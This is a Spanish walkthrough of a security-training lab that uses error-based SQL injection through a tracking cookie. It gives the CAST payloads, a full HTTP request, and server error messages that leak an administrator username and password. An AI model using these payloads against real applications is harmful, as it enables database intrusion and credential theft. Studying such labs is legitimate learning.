11 Lab Blind SQL injection with conditional errors

Sabiendo que el TrackingID es vulnerable (lo comprobamos con la '), vamos a probar la siguiente sentencia para ver si nos cambia el error reportado:

`` '+AND+CAST((SELECT+1)+AS+int)--

```
    </header>
    <h4>
      ERROR: argument of AND must be type boolean, not type integer
      Position: 63
    </h4>
    <p class=is-warning>
      ERROR: argument of AND must be type boolean, not type integer
      Position: 63
    </p>
  </div>
```

Vemos como efectivamente se conos cambia el reporte del error, de un 500 normal a uno de tipo AND diciéndonos que debe de ser un booleano.

Si cambiamos la sentencia a ver 1 = CAST haciendo que esta sentencia sea TRUE, por lo que nos devuelve:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 5264

<!DOCTYPE html>
<html>
  <head>
    <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
    <link href=/resources/css/labsEcommerce.css rel=stylesheet>
    <title>
      Visible error-based SQL injection
    </title>
  </head>
  <body>
    <script src="/resources/labheader/js/labHeader.js">
    </script>
    <div id="academyLabHeader">
```

modificando la sentencia a lo que nos interesa, que es saber las columnas de username y passsword:

`` '+AND+CAST((SELECT+username+FROM+user)+AS+int)--

Recibimos el siguiente error:

```
  <h4>
    Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id =
    '17YYIqBTXaO1CAWC' AND 1 = CAST((SELECT username FROM users) '. Expected  char
  </h4>
  <p class=is-warning>
    Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id =
    '17YYIqBTXaO1CAWC' AND 1 = CAST((SELECT username FROM users) '. Expected  char
  </p>
</div>
```

Por lo que vamos a modificarlo de manera que solo nos retorne una columna:

``'+AND+CAST((SELECT+username+FROM+user+LIMIT+1)+AS+int)--

y recibimos !!!!!!!(borrando el valor del TrackingID):

```
GET /product?productId=1 HTTP/2
Host: 0ad10011033366578185ac5f00c400de.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--; session=
QA9gMyt4FVnbR9K8Y43OWQsByDUMBo6B
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Desvelándonos así que el usuario administrator existe:

```
<h4>
     ERROR: invalid input syntax for type integer: "administrator"
</h4>
<p class=is-warning>
     ERROR: invalid input syntax for type integer: "administrator"
</p>
```

Por lo que vamos a ver la contraseña de este usuario:

`` ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

```
<h4>
     ERROR: invalid input syntax for type integer: "fez63k6vx8n8z72i9njh"
</h4>
<p class=is-warning>
     ERROR: invalid input syntax for type integer: "fez63k6vx8n8z72i9njh"
</p>
```